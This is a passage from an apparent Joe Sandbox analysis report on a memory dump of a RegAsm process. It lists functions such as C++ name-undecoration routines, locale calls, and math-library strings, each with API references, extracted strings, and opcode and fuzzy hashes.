API String ID: 1272433827-0
Opcode ID: 069e43099cb2a6abfa34392534aefc64edadcf5ca437ca50de6ba907f39dc6b5
Instruction ID: c58c88538b53a5eceda1a214455a9bffea84a5bf0b7ad8a29ee821b80ad05161
Opcode Fuzzy Hash: 069e43099cb2a6abfa34392534aefc64edadcf5ca437ca50de6ba907f39dc6b5
Instruction Fuzzy Hash: B1F04F72A00205DFEB00EF98E956B9D7BB0FB84722F10551BF811A72E0DB754908DF40

Function 00561630 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B201: GetLastError.KERNEL32(00000000,kAU,0055E772), ref: 0055B205
Part of subcall function 0055B201: SetLastError.KERNEL32(00000000,00000000,-000D4670,00000006,000000FF), ref: 0055B2A7

EnumSystemLocalesW.KERNEL32(00561589,00000001,?,?,?,00561DF7,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00561667

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 27d350d33970dd546ade89192fa1cfbe2c562e45e8e71cf6b2cc650e5e2fd74c
Instruction ID: 678f7699870da0ffe5d95af341538041769d1367d92cbe21c9c6bac8a0447303
Opcode Fuzzy Hash: 27d350d33970dd546ade89192fa1cfbe2c562e45e8e71cf6b2cc650e5e2fd74c
Instruction Fuzzy Hash: 2DF0E53A30024997CB049F7AD859A7ABF94FFC2755B0E4059FE068BA51C672A842CB94

Function 0055BD04 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00557CBC,?,20001004,00000000,00000002,?,?,005572AE), ref: 0055BD38

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: bb9429e0232fbbff0e4e3be30dc214aa290e8663941acf9757ef2ff556115542
Instruction ID: 3e33931abc76c6679fe0192a5ce5b3afd1293c7dfc19cddc5ed152fb0d3fdbea
Opcode Fuzzy Hash: bb9429e0232fbbff0e4e3be30dc214aa290e8663941acf9757ef2ff556115542
Instruction Fuzzy Hash: 10E04F3150021CBBDF122FA0DC1EEAE7F2AFF44761F044412FD5566261CB718928AAE1

Function 0051D050 Relevance: 1.5, APIs: 1, Instructions: 15encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000,?,?,0051D12B,?,?,0051D3B9,?,?,00000000), ref: 0051D067

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: f99aaac8c9758899443b23d47bd2e6f87f5fee543218b0c6a20bca957a8c697e
Instruction ID: 1bf24a48ebf4346480698b93e1ade0ec2c7523cbb833008dd422993d7e2737b0
Opcode Fuzzy Hash: f99aaac8c9758899443b23d47bd2e6f87f5fee543218b0c6a20bca957a8c697e
Instruction Fuzzy Hash: E6D0A770504308EBC714CF88D844F6DB7B9FB49300F1001D8F80457350C7725E40EAA0

Function 0042DCB0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a58165032b6f387b3a28474570795e4e25dfc93a0902fae1b5fa62accefb4b4
Instruction ID: 65d1ee9e41e2be78f1e92ea5d391260b6e3b66e62850f17ca116f2a323e4beef
Opcode Fuzzy Hash: 1a58165032b6f387b3a28474570795e4e25dfc93a0902fae1b5fa62accefb4b4
Instruction Fuzzy Hash: 8FE06D74901208EFDB24CFA9E808799BBB4BB58301F10565BEC0543391D3B89A88EB80

Function 00545D32 Relevance: 72.1, APIs: 11, Strings: 30, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00545DA5
shared_ptr.LIBCMT ref: 00545DED
shared_ptr.LIBCMT ref: 00545E0C
operator+.LIBVCRUNTIME ref: 00545F3A
DName::operator=.LIBVCRUNTIME ref: 00545F4C
shared_ptr.LIBCMT ref: 00546191
DName::operator+.LIBCMT ref: 005461D3
operator+.LIBVCRUNTIME ref: 00546219

Strings

char, xrefs: 00545D90
__int128, xrefs: 00545F73
double, xrefs: 00545E14
const, xrefs: 0054603D
volatile, xrefs: 0054605B
long , xrefs: 00545DFA
decltype(auto), xrefs: 005460FB
signed , xrefs: 00545E9A
long, xrefs: 00545DCF
__int32, xrefs: 00545F92
unsigned , xrefs: 005461B2
UNKNOWN, xrefs: 0054617C
void, xrefs: 00545E35
this , xrefs: 00546119
char8_t, xrefs: 005460BF
wchar_t, xrefs: 005460E3
<unknown>, xrefs: 005460AC
bool, xrefs: 00545F9E
__int8, xrefs: 00545F07
volatile, xrefs: 0054607B
char16_t, xrefs: 005460CB
short, xrefs: 00545DAF
int, xrefs: 00545DBF
__int64, xrefs: 00545F86
char32_t, xrefs: 005460D7
dV, xrefs: 0054618A
__w64 , xrefs: 00545F28
__int16, xrefs: 00545EFB
float, xrefs: 00545DD8
auto, xrefs: 005460EF

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$dV$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 1464150960-1494216725
Opcode ID: 3925e8011bf68b5b5e0d744a3d157939763b3d82aca0c20333e9f725c7586ca5
Instruction ID: 567776cc75f0f9d05e9f6f99776649164ae08df594769c93df203303853b5104
Opcode Fuzzy Hash: 3925e8011bf68b5b5e0d744a3d157939763b3d82aca0c20333e9f725c7586ca5
Instruction Fuzzy Hash: 58E15CB5C0420AAFCB14DF94C49DAFEBFB4BB06308F10855AD511A7242E7B55B49CF92

Function 00549612 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005496E8
UnDecorator::getSignedDimension.LIBCMT ref: 005496F3
UnDecorator::getSignedDimension.LIBCMT ref: 005497DF
UnDecorator::getSignedDimension.LIBCMT ref: 005497FC
UnDecorator::getSignedDimension.LIBCMT ref: 00549819
DName::operator+.LIBCMT ref: 0054982E
UnDecorator::getSignedDimension.LIBCMT ref: 00549848
_swprintf.LIBCMTD ref: 005498C2
DName::operator+.LIBCMT ref: 0054991D

Part of subcall function 00545757: DName::DName.LIBVCRUNTIME ref: 005457B5

DName::DName.LIBVCRUNTIME ref: 00549994

Strings

`template-type-parameter-, xrefs: 00549939
`generic-class-parameter-, xrefs: 00549929
NULL, xrefs: 005496A6
nullptr, xrefs: 0054995D
lambda, xrefs: 0054997D
`generic-method-parameter-, xrefs: 005498F9

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 138750261-2441609178
Opcode ID: 4818bafe7b2db8c7382042f8a6d01cf6be0d8f5fefc957dfa1d8225eff8da9fb
Instruction ID: 386a87b0a8fe3b379d9892b30f508fdd1ae81d7b5708fa9bdafe95409b2cda7a
Opcode Fuzzy Hash: 4818bafe7b2db8c7382042f8a6d01cf6be0d8f5fefc957dfa1d8225eff8da9fb
Instruction Fuzzy Hash: 7F91A571D0420B9ADB14EFB4D94FAFF7F78FB4530CF11441AE106A6181DA759A09CBA1

Function 00548B1C Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00548B87
DName::operator+.LIBCMT ref: 00548CCA

Part of subcall function 0054479A: shared_ptr.LIBCMT ref: 005447B6

DName::operator+.LIBCMT ref: 00548C75
DName::operator+.LIBCMT ref: 00548D16
DName::operator+.LIBCMT ref: 00548D25
DName::operator+.LIBCMT ref: 00548E51
DName::operator=.LIBVCRUNTIME ref: 00548E91
DName::DName.LIBVCRUNTIME ref: 00548E9B
DName::operator+.LIBCMT ref: 00548EB8
DName::operator+.LIBCMT ref: 00548EC4

Part of subcall function 0054A3B6: Replicator::operator[].LIBCMT ref: 0054A3F3

Strings

`anonymous namespace', xrefs: 00548DD6

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: 23657baa8a7c383fded92e183ed08359da9df633d7a3f80fa02cc6261c8605c8
Instruction ID: a3013a2caa3a604a1a522fc6c239521bc8edd38d7b93b4e2335fa12b38505b20
Opcode Fuzzy Hash: 23657baa8a7c383fded92e183ed08359da9df633d7a3f80fa02cc6261c8605c8
Instruction Fuzzy Hash: F5C1BCB19402059FCB14DFA4C889BFEBFF8BB59308F044859E549A7282EB349949CF10

Function 00546FA0 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546FD3

Part of subcall function 00544778: DName::operator+=.LIBCMT ref: 0054478E

Strings

coclass , xrefs: 005470A4
enum , xrefs: 005470C0
cointerface , xrefs: 00547094
`unknown ecsu', xrefs: 00546FB5
\V, xrefs: 0054711F, 00547127
\V, xrefs: 00547029, 00547138, 00547142, 00546FCE
class , xrefs: 005470F4
struct , xrefs: 005470FD
union , xrefs: 0054710D

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+Name::operator+=
String ID: \V$\V$`unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 382699925-3114403028
Opcode ID: f77a251bd2e2985dcfa8099b69da2df80f10ced1a5834a4e38db0855088cbe3c
Instruction ID: 21cad155c969bba505e3912805668ed15c6e27845792db42140ac77eaff85f1a
Opcode Fuzzy Hash: f77a251bd2e2985dcfa8099b69da2df80f10ced1a5834a4e38db0855088cbe3c
Instruction Fuzzy Hash: 0B414D75C0520EDACF04DFA8D88AAEEBFB4FB49318F10141AE505B7240D7719A49DF90

Function 0054758A Relevance: 19.8, APIs: 13, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547653
DName::operator+.LIBCMT ref: 00547690
DName::DName.LIBVCRUNTIME ref: 005476A4
DName::operator+.LIBCMT ref: 005476B3
DName::operator+.LIBCMT ref: 00547741
DName::DName.LIBVCRUNTIME ref: 00547769
DName::operator+.LIBCMT ref: 00547777
DName::operator+.LIBCMT ref: 005477B1
DName::operator+.LIBCMT ref: 005477F2
UnDecorator::getReturnType.LIBCMT ref: 00547822
operator+.LIBVCRUNTIME ref: 00547924

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID:
API String ID: 2932655852-0
Opcode ID: 6f7d05b25b20b6567a1e230592cfce677c5f18c5701fe29f532943af6e01517c
Instruction ID: 83d83507aad540542c2845dba1662c69820f22d0f3ae0658f8d9f8a9a7cdba55
Opcode Fuzzy Hash: 6f7d05b25b20b6567a1e230592cfce677c5f18c5701fe29f532943af6e01517c
Instruction Fuzzy Hash: 2AC1817590420AAFDB18EFA4D89AEEE7FB8FB5D308F100559F502A7291DB309A45CB50

Function 0054A3B6 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054A3F3

Strings

`template-parameter-, xrefs: 0054A464
generic-type-, xrefs: 0054A479
`generic-type-, xrefs: 0054A48F
@, xrefs: 0054A55F
template-parameter-, xrefs: 0054A452

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$`generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3433397351
Opcode ID: 5075a08034e346989148fdc8cacb93eb1cbfd8d0f924f5dc6140800278117541
Instruction ID: fb7da736ddb269500e9d88f9a559f7686fe96c4222760e719c18234fcbe1cf71
Opcode Fuzzy Hash: 5075a08034e346989148fdc8cacb93eb1cbfd8d0f924f5dc6140800278117541
Instruction Fuzzy Hash: 3661D1B1D402099FDB10DFA4D94ABEEBFB8BF59308F104429EA01B7291DB749909CF91

Function 00548508 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00548573
operator+.LIBVCRUNTIME ref: 005485C3
shared_ptr.LIBCMT ref: 0054868F
DName::DName.LIBVCRUNTIME ref: 005486BF
operator+.LIBVCRUNTIME ref: 00548720

Strings

std::nullptr_t , xrefs: 0054870E
std::nullptr_t, xrefs: 00548731
volatile, xrefs: 00548565, 00548681
volatile , xrefs: 00548555, 00548671

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: b37cdec04dd991222018ad6fb5e75cb0ccfcf62c53967ee7ba0d497a5e4e9ba1
Instruction ID: 7fb307a77142541c227a19f7750d3707c6200023d4ac49e8630d8b438378ae26
Opcode Fuzzy Hash: b37cdec04dd991222018ad6fb5e75cb0ccfcf62c53967ee7ba0d497a5e4e9ba1
Instruction Fuzzy Hash: EC617C7180010AEFCB04DFA8C848AFDBFB5FB59308F14896AE845AB211DB769645DF50

Function 00548756 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 005487B9
DName::operator+.LIBCMT ref: 00548877
operator+.LIBVCRUNTIME ref: 005488B6

Strings

void , xrefs: 005487A3
cli::pin_ptr<, xrefs: 0054888D
std::nullptr_t , xrefs: 0054880D
std::nullptr_t, xrefs: 005487FD
cli::array<, xrefs: 00548853
void, xrefs: 00548784

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: e587256cf8036c8e61f68ac140279fb9629aca9b7d79ed0d98a4f330088f7a9d
Instruction ID: 724eb2c95c2c39b138467f8533839fa2c956946e50946a0320ca1856e561e61f
Opcode Fuzzy Hash: e587256cf8036c8e61f68ac140279fb9629aca9b7d79ed0d98a4f330088f7a9d
Instruction Fuzzy Hash: 714132B1D04209AFDF10CF94D849BEE7FF0BB05318F548859E915AB291DBB59A88CF80

Function 00545AE6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00545B74
DName::operator+.LIBCMT ref: 00545BC7

Part of subcall function 0054479A: shared_ptr.LIBCMT ref: 005447B6

Part of subcall function 005446C5: DName::operator+.LIBCMT ref: 005446E6

DName::operator+.LIBCMT ref: 00545BB8
DName::operator+.LIBCMT ref: 00545C18
DName::operator+.LIBCMT ref: 00545C25
DName::operator+.LIBCMT ref: 00545C6C
DName::operator+.LIBCMT ref: 00545C79

Strings

HV, xrefs: 00545C5B, 00545C65

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID: HV
API String ID: 1037112749-1037838562
Opcode ID: a5cb7cff3b468020cb1ea735bc4ba70a33b053f39ba55a4d61ab007c7b609723
Instruction ID: 08366fce0587bc1816407f9c30c1d6905e80ab220bfc14df20e57fa6de7e5e58
Opcode Fuzzy Hash: a5cb7cff3b468020cb1ea735bc4ba70a33b053f39ba55a4d61ab007c7b609723
Instruction Fuzzy Hash: 50518071D00219AFDB15DF94C889EEEBFB8FF49304F444559F606A7282EB309A45CBA0

Function 00566DB3 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0056671F), ref: 00566DCC

Strings

log10, xrefs: 00566E0E, 00566E1D
acos, xrefs: 00566F02
exp, xrefs: 00566E4B, 00566EB0
log, xrefs: 00566E29, 00566E38
sqrt, xrefs: 00566F0B
asin, xrefs: 00566EF9
pow, xrefs: 00566E6A, 00566F14, 00566F61

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: ad2f2c4144fdcaf441ef1ede2d9c9a902814ec393e4926980c57679c9276c57c
Instruction ID: f8e7c25b4c5422ed57744749bcbf42f8bfe1371d2eac7a178e1adb663a324ec9
Opcode Fuzzy Hash: ad2f2c4144fdcaf441ef1ede2d9c9a902814ec393e4926980c57679c9276c57c
Instruction Fuzzy Hash: DF519AB8900A0ACBCF109FA8F94C1AEBFB4FF49304F508585E491A7268CB758929DB55

Function 0054714A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 005471BB
DName::operator+.LIBCMT ref: 00547203
DName::DName.LIBVCRUNTIME ref: 00547233

Strings

char , xrefs: 0054717D
unsigned , xrefs: 005471E2
int , xrefs: 00547196
short , xrefs: 00547186
long , xrefs: 005471A6

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+shared_ptr
String ID: char $int $long $short $unsigned
API String ID: 3919194733-3894466517
Opcode ID: 49c0e07c11c966bdfda2ab1eaa6af710e012a8cf3a28ea292c15cf377dcee9ad
Instruction ID: 5124c3d80355557ff52ae05ae18343887f1cdb453f33e3f4734f91d26cb2778b
Opcode Fuzzy Hash: 49c0e07c11c966bdfda2ab1eaa6af710e012a8cf3a28ea292c15cf377dcee9ad
Instruction Fuzzy Hash: 25212DB4D0860D9BCB04CFA4D8496EDBFB4FB0A308F048599E921A7291D7B49649CF50

Function 00541220 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,0041F86B,00000000,00000000,06EF857F,?,?,?,Function_00141890,00589468,000000FE,?,0041F869,00000001), ref: 005412A9
MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,?,00000000,00000000,?,Function_00141890,00589468,000000FE,?,0041F869), ref: 00541324
SysAllocString.OLEAUT32(00000000), ref: 0054132F
_com_issue_error.COMSUPP ref: 00541358
_com_issue_error.COMSUPP ref: 00541362
GetLastError.KERNEL32(80070057,06EF857F,?,?,?,Function_00141890,00589468,000000FE,?,0041F869,00000001), ref: 00541367
_com_issue_error.COMSUPP ref: 0054137A
GetLastError.KERNEL32(00000000,?,?,?,Function_00141890,00589468,000000FE,?,0041F869,00000001), ref: 00541390
_com_issue_error.COMSUPP ref: 005413A3

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: b1b3d382b9065c57aeb0679aad40b16432dc22ba847b65af2e59ef304d5669fc
Instruction ID: 008eaca5318529a609c6826fefbf5eaff08662be02a792dfccbb6e2bdbced9c3
Opcode Fuzzy Hash: b1b3d382b9065c57aeb0679aad40b16432dc22ba847b65af2e59ef304d5669fc
Instruction Fuzzy Hash: 814127B1A04705DBD700DF69CC49BEEBFA8FB44758F104629F515E7640D7749840C7A8

Function 00568480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 005685B1
VirtualQuery.KERNEL32(83000000,06EF857F,0000001C,06EF857F,?,?,?), ref: 00568696
__FindPESection.LIBCMT ref: 005686D3
__FindPESection.LIBCMT ref: 0056870D

Strings

< Y, xrefs: 005687D5
< Y, xrefs: 00568722
< Y, xrefs: 005685D5

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID: < Y$< Y$< Y
API String ID: 2992484814-2098822819
Opcode ID: ad5e12f5138e75c3da54d6d153fc2294a7739df4eaa667369c5167fb9462b5d7
Instruction ID: ba749b0d38f3d688e237b7e511e29bc3a865d18d3d9ac3482d944a56b28cc72c
Opcode Fuzzy Hash: ad5e12f5138e75c3da54d6d153fc2294a7739df4eaa667369c5167fb9462b5d7
Instruction Fuzzy Hash: 57A1BE71A006168FCB10CF58D984BBDBBB9FB58324F15472AD819E7291EB31EC45CBA0

Function 0054A262 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 0054A2A6
DName::operator+.LIBCMT ref: 0054A2B2

Part of subcall function 0054479A: shared_ptr.LIBCMT ref: 005447B6

DName::operator+=.LIBCMT ref: 0054A370

Part of subcall function 00548B1C: DName::operator+.LIBCMT ref: 00548B87
Part of subcall function 00548B1C: DName::operator+.LIBCMT ref: 00548E51

Part of subcall function 005446C5: DName::operator+.LIBCMT ref: 005446E6

DName::operator+.LIBCMT ref: 0054A32D

Part of subcall function 005447F2: DName::operator=.LIBVCRUNTIME ref: 00544813

DName::DName.LIBVCRUNTIME ref: 0054A394
DName::operator+.LIBCMT ref: 0054A3A0

Strings

{for , xrefs: 0054A2D9

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: 822854dd34c3f7daad62537625670539bc37f4d2a9bb7e5da13adab3686afc5f
Instruction ID: 803feefbcad4c1ae488b89a71a7813c73531c37f71d8291b81364dfd671b35ce
Opcode Fuzzy Hash: 822854dd34c3f7daad62537625670539bc37f4d2a9bb7e5da13adab3686afc5f
Instruction Fuzzy Hash: 2141D7B0A40244AFDB14DFA8C859BEE7FF9FB4B308F404458E285EB281EB345945CB51

Function 005458CC Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005457BF: Replicator::operator[].LIBCMT ref: 0054582B

DName::DName.LIBVCRUNTIME ref: 00545918
DName::operator+.LIBCMT ref: 0054595E

Strings

,<ellipsis>, xrefs: 00545949
,..., xrefs: 00545939
..., xrefs: 0054598F
void, xrefs: 005459B0
<ellipsis>, xrefs: 0054599F

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: cbe78327eb810f6a7ca1ad4b1ef18642a19ca598d1ab6d06f430007e1b14f219
Instruction ID: 8ba99e6157647baaf2c6e806d734aed7257c554bcdba35ae599704df73262e97
Opcode Fuzzy Hash: cbe78327eb810f6a7ca1ad4b1ef18642a19ca598d1ab6d06f430007e1b14f219
Instruction Fuzzy Hash: 50318DB0900609DFCB05CF98C8586EEBFF0FB09318F008859D996EB252E7749608DF41

Function 00419F50 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00419F62
int.LIBCPMTD ref: 00419F74

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 00419FBB
std::_Lockit::~_Lockit.LIBCPMT ref: 0041A031

Strings

zA, xrefs: 00419F80, 00419FA6, 00419FA9
zA, xrefs: 00419FC8, 00419FDC, 00419FE8, 00419FED, 00419FDF

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: zA$zA
API String ID: 3053331623-2891261629
Opcode ID: 2b55c1298a34e6f788010eb6c9471981417d0a304ea1142e7dfaa2b3c0514dcd
Instruction ID: 0223956060c29fa5cdc8b90f71c6bc3690c5526ee5d5d129aa14d79349ccd59b
Opcode Fuzzy Hash: 2b55c1298a34e6f788010eb6c9471981417d0a304ea1142e7dfaa2b3c0514dcd
Instruction Fuzzy Hash: 143195B9D00209EFCB04DF95D591AEEBBB1BF48304F10856AE815B7390EB34AA45CF55

Function 005402B3 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005402BA
std::_Lockit::_Lockit.LIBCPMT ref: 005402C5
std::_Lockit::~_Lockit.LIBCPMT ref: 00540333

Part of subcall function 00540416: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0054042E

std::locale::_Setgloballocale.LIBCPMT ref: 005402E0
_Yarn.LIBCPMT ref: 005402F6

Strings

H%, xrefs: 00540313
H%, xrefs: 0054030C

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: H%$H%
API String ID: 1088826258-316851452
Opcode ID: 4c957ff93e8c9e7af6e3b9e572dbb6b4716386f0ac9918679668e9905bd1211b
Instruction ID: 19785e96168d59959adac55ebbb9d97e402b6f54e8263433cc800ec98644fec3
Opcode Fuzzy Hash: 4c957ff93e8c9e7af6e3b9e572dbb6b4716386f0ac9918679668e9905bd1211b
Instruction Fuzzy Hash: 2601DF75A005169BCB06EF60C8595BD7F61FFD8704B245019EE12973D2CF746E06DB81

Function 00509760 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

Strings

!kcc, xrefs: 00509A7C
7, xrefs: 00509B07
>, xrefs: 005099B0

Memory Dump Source

